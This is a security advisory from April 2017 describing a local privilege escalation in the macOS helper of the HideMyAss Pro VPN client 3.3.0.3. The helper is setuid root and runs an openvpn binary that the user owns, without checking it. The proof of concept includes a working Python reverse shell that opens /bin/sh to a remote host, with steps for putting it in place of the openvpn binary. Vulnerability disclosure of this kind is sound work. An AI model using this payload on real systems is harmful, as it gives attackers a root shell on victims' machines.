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HideMyAss Pro VPN Client 3.3.0.3 Privilege Escalation

HideMyAss Pro VPN Client 3.3.0.3 Privilege Escalation
Posted Apr 30, 2017
Authored by Han Sahin

HideMyAss Pro VPN client version 3.3.0.3 for OS X suffers from a helper binary (com.privax.hmaprovpn.helper) local privilege escalation vulnerability.

tags | exploit, local
systems | apple, osx
MD5 | dbab384b2c2cf9076d625633efca65ab

HideMyAss Pro VPN Client 3.3.0.3 Privilege Escalation

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Local privilege escalation vulnerability in HideMyAss Pro VPN client
v3.x for macOS
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Han Sahin, April 2017

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Abstract
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A local privilege escalation vulnerability has been found in the helper
binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN
v3.3.0.3 for macOS. The helper is installed setuid root and uses the
openvpn binary to create VPN profiles and connections. The helper fails
to perform signature check's on the openvpn file, which is owned by the
user that installed the client. This allows malware on the system to
replace the openvpn binary and run arbitrary code as root.

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Tested versions
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This issue was tested on HideMyAss Pro VPN v3.3.0.3 for macOS.

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Fix
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There is currently no fix available.

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Details
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https://www.securify.nl/advisory/SFY20170408/local_privilege_escalation_vulnerability_in_hidemyass_pro_vpn_client_v3_x_for_macos.html

The helper binary com.privax.hmaprovpn.helper that ships with HideMyAss Pro VPN v3.3.0.3 for macOS is installed in PrivilegedHelperTools and run every time the user reboots. The privileged helper is responsible for opening VPN connections with correct security and connection profile settings.

The com.privax.hmaprovpn.helper is installed setuid root and fails to perform signature check's on the openvpn executable, which is owned by the user that installed the client. This allows malware on the system to replace the openvpn binary and run arbitrary code as root.


Proof of Concept

1) Create an Python script named openvpn and make sure it is executable (chmod u+x).

#!/usr/bin/python
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.28",8099));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

2) Replace the openvpn binary located in the path below with this Python script.

/Applications/HMA\!\ Pro\ VPN.app/Contents/XPCServices/HMA\!\ Pro\ VPN\ Engine.xpc/Contents/MacOS/

3) Wait until the victim opens a VPN connection.

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